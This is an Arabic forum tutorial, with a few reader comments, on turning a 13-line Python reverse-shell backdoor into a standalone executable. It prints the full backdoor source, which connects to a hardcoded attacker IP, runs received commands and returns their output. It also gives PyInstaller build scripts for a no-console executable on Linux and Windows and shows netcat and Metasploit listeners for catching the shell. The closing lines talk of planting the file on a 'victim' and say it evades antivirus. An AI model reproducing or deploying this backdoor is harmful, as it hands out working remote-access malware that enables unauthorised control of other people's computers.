جارى التحميل
  • تحويل كود بايثون الى برنامج تنفيذي (Python Backdoor)

    قبل فترة من الزمن قام David Kennedy مبرمج الأداة SET بعمل backdoor من 13 سطر في لغة بايثون … الرجل ترك الكود على مدونته، وترك الطريقة لتحويل هذه الأكواد الى برنامج تنفيذي بشكل نظري … ولهذا قلت أكتب هذه المقالة البسيطة عن طريقة تحويل ذلك الـ 13 سطر من بايثون الى backdoor وتشغيله وتجربته على كل من لينُكس وكذلك ويندوز … لنبدأ العمل إذن …

    سنحتاج سواء في لينُكس أو ويندوز الى التالي:
    - لغة بايثون (سأشرح على بايثون 2.7)
    - Python for Windows extensions
    - وكذلك الى PyInstaller

    الآن لنبدأ العمل على نظام لينُكس، حيث سأستعمل توزيعة BackTrack5 وكل الذي علي فعله هو تحميل PyInstaller وفك ضغطه في مجلد معيين ولنفرض في المجلد التالي:
    /root/pyinstaller-1.5/

    الآن قم بإنشاء ملفين بداخل المجلد أعلاه … الأول سميه shell.py وضع فيه التالي:
    #!/usr/bin/python # imports here import socket,subprocess HOST = '172.16.32.137' # The remote host PORT = 443 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) # send we are connected s.send('[*] Connection Established!') # start loop while 1: # recieve shell command data = s.recv(1024) # if its quit, then break out and close socket if data == "quit": break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value) # close socket s.close()
    والثاني إسمه compile.bat وضع فيه التالي:
    /usr/bin/python Configure.py /usr/bin/python Makespec.py --onefile --noconsole shell.py /usr/bin/python Build.py shell/shell.spec
    ملاحظة مهمة جدا: لا تنسى تغيير العنوان والمنفذ لتناسب إعداداتك (IP and Port) …

    الآن كل الذي عليك فعله هو إضافة صلاحيات التشغيل الى compile.bat ومن ثم تشغيله … ستجد الناتج في المجلد التالي:
    للتأكد إنه تحول الى برنامج تنفيذي:
    file shell/dist/shell
    سيعطيك ناتج بإنه برنامج تنفيذي … هكذا تمت العملية بنجاح … لتجربته مثلا بواسطة netcat كل الذي عليك فعله هو تشغيل المستمع كالتالي:
    الآن كل الذي علينا فعله هو تشغيل الشل وإنتظار إتصالها بالمستعم netcat الذي لدينا … أظن هذه ليست صعبة عليكم، وعلى العموم أليكم الصورة التالية:



    الآن لنبدأ العمل على ويندوز … وسأستعمل في هذا المثال Windows XP SP2 … أول حاجة نعملها هي تركيب بايثون وتركيب Python for Windows extensions الصحيح للنسخة التي لديك، يعني لدينا بايثون 2.7 نستعمل النسخة pywin32-215.win32-py2.7.exe وليس غير ذلك … أيضا هناك طريقتين لتركيب PyInstaller في ويندوز … إما تفك ضغطهم في داخل مجلد البايثون وإما تضعه في مسار منفصل … أختر ما يناسبك … أهم حاجة في الطريقة الثانية يكون لديك الإعدادات للمتغيير PythonPath صحيحة وهذه يمكن عملها من خلال التالي:
    1- قم بعمل Right Click على My Computer وأختر Properties
    2- قم بإختيار Advanced ومن ثم Environment Variables
    3- بعد ذلك في الأسفل عند System Variables قم بإختيار New لنعمل متغيير جديد … سميه PythonPath وضع في قيمته التالي:

    C:\PYTHON27;C:\PYTHON27\DLLs;C:\PYTHON27\LIB;C:\PYTHON27\LIB\LIB-TK




    هذا طبعاً في حالة إستعمالك لبايثون 2.7، إن كان حاجة أخرى قم بوضع رقم تلك النسخة بدل من PYTHON27 ضع مثلا PYTHON26 وهكذا …
    4- قم بعمل إعادة التشغيل للنظام ويندوز (هكذا على XP) …

    الآن تم تجهيز النظام كل الذي علينا فعله هو عمل ملفين في داخل مجلد PyInstaller وهما نفس الملفات التي عملناها سابقا مع شوية تعديل (واحد shell.py والآخر compile.bat) … في الأول ضع الكود الموجود في بداية هذا الموضوع (كود الـ Backdoor) … وفي الثاني ضع التالي:

    python Configure.py python Makespec.py --onefile --noconsole shell.py python Build.py shell\shell.spec
    الآن كل الذي علينا فعله هو إما النقر مرتين على ملف compile.bat أو إننا نقوم من خلال cmd بتنفيذه ورؤية النواتج بنفس الوقت (أفضل هذه الطريقة) … ولهذا سنقوم من cmd بالتالي:

    cd c:\Python27\ compile.bat
    بعد ذلك ستجد إنه تم عمل ملف تنفيذي إسمه shell.exe … وهو الملف المطلوب أصلا (الـ Backdoor) …

    لتجربته هذه المرة سأستعمل Metasploit Multihandler كما في الصورة بالأسفل:



    بعد ذلك قم بتشغيل البرنامج التنفيذي الذي عملته على جهاز الويندوز (أي الـ Backdoor) بالضغط عليه مرتين … وانظر بعدها الى الطرفية، ستجد إنك حصلت على shell على الجهاز الآخر (الويندوز) …



    طبعاً هذا الشرح كان بهدف توضيح كيفية عمل التحويل الى ملف تنفيذي … وكذلك الإشارة الى إنه ممكن نعمل backdoor في بايثون (المصدر secmaniac) … الآن المتبقي عليك فعله هو كيفية إرسال هذا الملف الى الضحية وزرع هذا الـ Backdoor في جهازه … وكما قال ReL1K في مدونته، فعلا كل برامج مكافحة الفيروسات لن تكشفه … أليك الصورة التالية:



    عيب هذا الـ Backdoor الوحيد حسب رأيي هو حجمه الكبير … ياله تجربة موفقة للجميع …

    المصادر:
    Pywin32 | Python on Windows FAQ | Secmanic | 13 Line Backdoor | PyInstaller
    This article was originally published in forum thread: تحويل كود بايثون الى برنامج تنفيذي (Python Backdoor) started by علي الشمري View original post
    تعليقات 4 تعليقات
    1. الصورة الرمزية profseer
      profseer -
      رائع الشرح وجارى التجربة
    1. الصورة الرمزية عبد العزيز الحربي
      وكم حجمة؟؟
    1. الصورة الرمزية 7versuslinux
      7versuslinux -
      اقتباس المشاركة الأصلية كتبت بواسطة عبد العزيز الحربي مشاهدة المشاركة
      وكم حجمة؟؟
      الحجم 3.16 mb واما بخصوص الطريقة فهي جميلة ولكن حصلت لي تعليق صغيييييييييييير كتبنبيه للاخوة القارئين حتى لايقعوا في خطا انا ارتكبته .. وهو انه تم استعمال حزمة pyinstaller الخاصة باللينوكس ضمن نظام ويندوز .. وشكرا
    1. الصورة الرمزية boudy121
      boudy121 -
      جااااااااااااااااااااااااري التجربة وشكرا لك علي المجهود الرائع